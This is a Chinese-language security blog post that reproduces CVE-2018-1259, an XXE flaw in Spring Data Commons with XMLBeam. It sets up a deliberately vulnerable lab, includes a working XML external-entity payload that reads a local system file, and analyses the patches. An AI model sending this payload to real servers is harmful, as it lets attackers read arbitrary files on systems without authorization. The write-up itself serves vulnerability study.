漏洞复现 CVE-2018-1259 Spring XXE

admin 2021年4月24日21:50:44评论203 views字数 2729阅读9分5秒阅读模式

01

漏洞简介


XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。


02


环境搭建


下载官方的示例包

git clone https://github.com/spring-projects/spring-data-examples.git

用idea打开,配置pom.xml文件,

修改spring-data-commons的版本

<dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-commons</artifactId><version>2.0.5.RELEASE</version></dependency>

下载好相关依赖插件和包之后,生成package

cd /spring/spring-data-examples/web/projectionmvn clean package

漏洞复现 CVE-2018-1259  Spring XXE

启动环境:

cd /spring/spring-data-examples/web/projection/targetjava -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar

漏洞复现 CVE-2018-1259  Spring XXE

访问:http://127.0.0.1:8080/,漏洞复现 CVE-2018-1259  Spring XXE

环境搭建成功,如图。


03

漏洞复现


任意文件读取

使用post发送xml格式的payload

如下:

<?xml version="1.0" encoding="UTF-8"?>        <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >]><user><firstname>&rabbit;</firstname><lastname>don9sec</lastname></user>

漏洞复现 CVE-2018-1259  Spring XXE

成功读取到了文件内容,如图。


04

漏洞分析


一般在网上还未公开poc时,漏洞补丁对安全攻城狮做应急/复现来说无疑是最好的参考。

# 详见:# xmlbeam的补丁https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1# spring-data-commons的补丁https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8

可以发现,xmlbeam的补丁中对DefaultXMLFactoriesConfig.java进行了如下修改:

  • 配置了默认的feature

漏洞复现 CVE-2018-1259  Spring XXE

  • 禁止实体引用、禁止合并多个XML文档。

漏洞复现 CVE-2018-1259  Spring XXE

spring-data-commons的补丁在传入XMLBeam的XBProjector时候也做了如下修改:

漏洞复现 CVE-2018-1259  Spring XXE

  • DocumentBuilderFactory设置了参数,阻止外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。


所以,经过对补丁的分析,可以了解到该XXE漏洞的本质就是因为

src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java

配置不当(没有限制外部实体)而导致的,而Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件,于是受到了影响。


05

附录

pom.xml

替换掉官方示例包的pom.xml即可

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <artifactId>spring-data-web-projection</artifactId>   <name>Spring Data - JSON and XML projection web example</name>   <dependencies>      <dependency>         <groupId>org.springframework.boot</groupId>         <artifactId>spring-boot-starter-web</artifactId>      </dependency>      <dependency>         <groupId>org.springframework.data</groupId>         <artifactId>spring-data-commons</artifactId>         <version>2.0.5.RELEASE</version>      </dependency>      <dependency>         <groupId>com.jayway.jsonpath</groupId>         <artifactId>json-path</artifactId>      </dependency>      <dependency>         <groupId>org.xmlbeam</groupId>         <artifactId>xmlprojector</artifactId>         <version>1.4.13</version>      </dependency>   </dependencies>   <build>      <plugins>         <plugin>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-maven-plugin</artifactId>         </plugin>      </plugins>   </build></project>

参考:

https://blog.spoock.com/2018/05/16/cve-2018-1259/


本文始发于微信公众号(don9sec):漏洞复现 CVE-2018-1259 Spring XXE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日21:50:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 CVE-2018-1259 Spring XXEhttp://cn-sec.com/archives/252620.html

发表评论

匿名网友 填写信息